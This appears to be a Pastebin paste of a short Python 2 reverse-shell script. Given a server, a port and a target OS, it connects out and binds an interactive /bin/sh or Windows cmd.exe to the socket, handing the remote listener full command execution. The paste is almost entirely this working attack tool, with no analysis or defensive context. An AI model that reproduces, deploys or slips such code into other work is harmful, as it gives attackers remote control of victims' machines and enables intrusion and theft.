Advertisement
Guest User

Untitled

a guest
Oct 19th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. #!/usr/bin/python
  2. # ig: @thelinuxchoice
  3.  
  4. import os,socket,subprocess,threading,sys;
  5.  
  6. if len(sys.argv[1:]) != 3:
  7. print "Usage: shell.py <server> <port> <linux/windows>"
  8. sys.exit(0)
  9. server= str(sys.argv[1]); port=int(sys.argv[2]);system=str(sys.argv[3])
  10. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  11. s.connect((server,port))
  12. def linux():
  13. os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
  14. p=subprocess.call(["/bin/sh", "-i"])
  15. def win():
  16. p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE,
  17. stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
  18. s2p_thread = threading.Thread(target=s2p, args=[s, p])
  19. s2p_thread.daemon = True
  20. s2p_thread.start()
  21. p2s_thread = threading.Thread(target=p2s, args=[s, p])
  22. p2s_thread.daemon = True
  23. p2s_thread.start()
  24. p.wait()
  25. def s2p(s, p):
  26. while True:
  27. data = s.recv(1024)
  28. if len(data) > 0:
  29. p.stdin.write(data)
  30. def p2s(s, p):
  31. while True:
  32. s.send(p.stdout.read(1))
  33. try:
  34. if system == "windows":
  35. win()
  36. elif system == "linux":
  37. linux()
  38. except KeyboardInterrupt:
  39. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement